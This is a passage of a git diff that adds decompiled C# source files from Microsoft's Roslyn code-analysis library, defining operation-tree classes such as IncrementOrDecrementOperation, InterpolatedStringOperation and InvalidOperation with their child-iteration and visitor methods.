int ChildOperationsCount => ((Instance != null) ? 1 : 0) + ((Argument != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ImplicitIndexerReference; + + internal ImplicitIndexerReferenceOperation(IOperation instance, IOperation argument, ISymbol lengthSymbol, ISymbol indexerSymbol, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Instance = Operation.SetParentOperation(instance, this); + Argument = Operation.SetParentOperation(argument, this); + LengthSymbol = lengthSymbol; + IndexerSymbol = indexerSymbol; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Instance != null) + { + return Instance; + } + break; + case 1: + if (Argument != null) + { + return Argument; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Argument != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Argument != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitImplicitIndexerReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitImplicitIndexerReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IncrementOrDecrementOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IncrementOrDecrementOperation.cs new file mode 100644 index 0000000..a2e7c7f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IncrementOrDecrementOperation.cs @@ -0,0 +1,90 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class IncrementOrDecrementOperation : Operation, IIncrementOrDecrementOperation, IOperation +{ + public bool IsPostfix { get; } + + public bool IsLifted { get; } + + public bool IsChecked { get; } + + public IOperation Target { get; } + + public IMethodSymbol? OperatorMethod { get; } + + public ITypeSymbol? ConstrainedToType { get; } + + internal override int ChildOperationsCount => (Target != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind { get; } + + internal IncrementOrDecrementOperation(bool isPostfix, bool isLifted, bool isChecked, IOperation target, IMethodSymbol? operatorMethod, ITypeSymbol? constrainedToType, OperationKind kind, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + IsPostfix = isPostfix; + IsLifted = isLifted; + IsChecked = isChecked; + Target = Operation.SetParentOperation(target, this); + OperatorMethod = operatorMethod; + ConstrainedToType = constrainedToType; + Type = type; + Kind = kind; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Target != null) + { + return Target; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitIncrementOrDecrement(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitIncrementOrDecrement(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InlineArrayAccessOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InlineArrayAccessOperation.cs new file mode 100644 index 0000000..65e5c53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InlineArrayAccessOperation.cs @@ -0,0 +1,103 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InlineArrayAccessOperation : Operation, IInlineArrayAccessOperation, IOperation +{ + public IOperation Instance { get; } + + public IOperation Argument { get; } + + internal override int ChildOperationsCount => ((Instance != null) ? 1 : 0) + ((Argument != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.InlineArrayAccess; + + internal InlineArrayAccessOperation(IOperation instance, IOperation argument, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Instance = Operation.SetParentOperation(instance, this); + Argument = Operation.SetParentOperation(argument, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Instance != null) + { + return Instance; + } + break; + case 1: + if (Argument != null) + { + return Argument; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Argument != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Argument != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInlineArrayAccess(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInlineArrayAccess(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InstanceReferenceKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InstanceReferenceKind.cs new file mode 100644 index 0000000..cb8b884 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InstanceReferenceKind.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public enum InstanceReferenceKind +{ + ContainingTypeInstance, + ImplicitReceiver, + PatternInput, + InterpolatedStringHandler +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InstanceReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InstanceReferenceOperation.cs new file mode 100644 index 0000000..8e69e68 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InstanceReferenceOperation.cs @@ -0,0 +1,48 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InstanceReferenceOperation : Operation, IInstanceReferenceOperation, IOperation +{ + public InstanceReferenceKind ReferenceKind { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.InstanceReference; + + internal InstanceReferenceOperation(InstanceReferenceKind referenceKind, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + ReferenceKind = referenceKind; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInstanceReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInstanceReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringAdditionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringAdditionOperation.cs new file mode 100644 index 0000000..48867c3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringAdditionOperation.cs @@ -0,0 +1,102 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InterpolatedStringAdditionOperation : Operation, IInterpolatedStringAdditionOperation, IOperation +{ + public IOperation Left { get; } + + public IOperation Right { get; } + + internal override int ChildOperationsCount => ((Left != null) ? 1 : 0) + ((Right != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.InterpolatedStringAddition; + + internal InterpolatedStringAdditionOperation(IOperation left, IOperation right, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Left = Operation.SetParentOperation(left, this); + Right = Operation.SetParentOperation(right, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Left != null) + { + return Left; + } + break; + case 1: + if (Right != null) + { + return Right; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Left != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Right != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Right != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Left != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInterpolatedStringAddition(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInterpolatedStringAddition(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringAppendOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringAppendOperation.cs new file mode 100644 index 0000000..898376e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringAppendOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InterpolatedStringAppendOperation : BaseInterpolatedStringContentOperation, IInterpolatedStringAppendOperation, IInterpolatedStringContentOperation, IOperation +{ + public IOperation AppendCall { get; } + + internal override int ChildOperationsCount => (AppendCall != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind { get; } + + internal InterpolatedStringAppendOperation(IOperation appendCall, OperationKind kind, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + AppendCall = Operation.SetParentOperation(appendCall, this); + Kind = kind; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && AppendCall != null) + { + return AppendCall; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (AppendCall != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (AppendCall != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInterpolatedStringAppend(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInterpolatedStringAppend(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringArgumentPlaceholderKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringArgumentPlaceholderKind.cs new file mode 100644 index 0000000..48c8fca --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringArgumentPlaceholderKind.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public enum InterpolatedStringArgumentPlaceholderKind +{ + CallsiteArgument, + CallsiteReceiver, + TrailingValidityArgument +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringHandlerArgumentPlaceholderOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringHandlerArgumentPlaceholderOperation.cs new file mode 100644 index 0000000..0b5fe5c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringHandlerArgumentPlaceholderOperation.cs @@ -0,0 +1,50 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InterpolatedStringHandlerArgumentPlaceholderOperation : Operation, IInterpolatedStringHandlerArgumentPlaceholderOperation, IOperation +{ + public int ArgumentIndex { get; } + + public InterpolatedStringArgumentPlaceholderKind PlaceholderKind { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.InterpolatedStringHandlerArgumentPlaceholder; + + internal InterpolatedStringHandlerArgumentPlaceholderOperation(int argumentIndex, InterpolatedStringArgumentPlaceholderKind placeholderKind, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + ArgumentIndex = argumentIndex; + PlaceholderKind = placeholderKind; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInterpolatedStringHandlerArgumentPlaceholder(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInterpolatedStringHandlerArgumentPlaceholder(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringHandlerCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringHandlerCreationOperation.cs new file mode 100644 index 0000000..0ae20bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringHandlerCreationOperation.cs @@ -0,0 +1,109 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InterpolatedStringHandlerCreationOperation : Operation, IInterpolatedStringHandlerCreationOperation, IOperation +{ + public IOperation HandlerCreation { get; } + + public bool HandlerCreationHasSuccessParameter { get; } + + public bool HandlerAppendCallsReturnBool { get; } + + public IOperation Content { get; } + + internal override int ChildOperationsCount => ((HandlerCreation != null) ? 1 : 0) + ((Content != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.InterpolatedStringHandlerCreation; + + internal InterpolatedStringHandlerCreationOperation(IOperation handlerCreation, bool handlerCreationHasSuccessParameter, bool handlerAppendCallsReturnBool, IOperation content, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + HandlerCreation = Operation.SetParentOperation(handlerCreation, this); + HandlerCreationHasSuccessParameter = handlerCreationHasSuccessParameter; + HandlerAppendCallsReturnBool = handlerAppendCallsReturnBool; + Content = Operation.SetParentOperation(content, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (HandlerCreation != null) + { + return HandlerCreation; + } + break; + case 1: + if (Content != null) + { + return Content; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (HandlerCreation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Content != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Content != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (HandlerCreation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInterpolatedStringHandlerCreation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInterpolatedStringHandlerCreation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringOperation.cs new file mode 100644 index 0000000..9ef284a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringOperation.cs @@ -0,0 +1,90 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InterpolatedStringOperation : Operation, IInterpolatedStringOperation, IOperation +{ + public ImmutableArray Parts { get; } + + internal override int ChildOperationsCount => Parts.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.InterpolatedString; + + internal InterpolatedStringOperation(ImmutableArray parts, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Parts = Operation.SetParentOperation(parts, this); + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Parts.Length) + { + return Parts[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Parts.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Parts.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Parts.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Parts.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInterpolatedString(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInterpolatedString(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringTextOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringTextOperation.cs new file mode 100644 index 0000000..b23f363 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolatedStringTextOperation.cs @@ -0,0 +1,73 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InterpolatedStringTextOperation : BaseInterpolatedStringContentOperation, IInterpolatedStringTextOperation, IInterpolatedStringContentOperation, IOperation +{ + public IOperation Text { get; } + + internal override int ChildOperationsCount => (Text != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.InterpolatedStringText; + + internal InterpolatedStringTextOperation(IOperation text, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Text = Operation.SetParentOperation(text, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Text != null) + { + return Text; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Text != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Text != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInterpolatedStringText(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInterpolatedStringText(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolationOperation.cs new file mode 100644 index 0000000..f664806 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InterpolationOperation.cs @@ -0,0 +1,124 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InterpolationOperation : BaseInterpolatedStringContentOperation, IInterpolationOperation, IInterpolatedStringContentOperation, IOperation +{ + public IOperation Expression { get; } + + public IOperation? Alignment { get; } + + public IOperation? FormatString { get; } + + internal override int ChildOperationsCount => ((Expression != null) ? 1 : 0) + ((Alignment != null) ? 1 : 0) + ((FormatString != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Interpolation; + + internal InterpolationOperation(IOperation expression, IOperation? alignment, IOperation? formatString, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Expression = Operation.SetParentOperation(expression, this); + Alignment = Operation.SetParentOperation(alignment, this); + FormatString = Operation.SetParentOperation(formatString, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Expression != null) + { + return Expression; + } + break; + case 1: + if (Alignment != null) + { + return Alignment; + } + break; + case 2: + if (FormatString != null) + { + return FormatString; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Expression != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Alignment != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (FormatString != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (FormatString != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (Alignment != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (Expression != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitInterpolation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitInterpolation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InvalidOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InvalidOperation.cs new file mode 100644 index 0000000..805356c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/InvalidOperation.cs @@ -0,0 +1,90 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class InvalidOperation : Operation, IInvalidOperation, IOperation +{ + internal ImmutableArray Children { get; } + + internal override int ChildOperationsCount => Children.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.Invalid; + + public InvalidOperation(ImmutableArray children, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Children = Operation.SetParentOperation(children, this); + Type = type; + OperationConstantValue = constantValue; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Children.Length) + { + return Children[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Children.IsEmpty) + { + 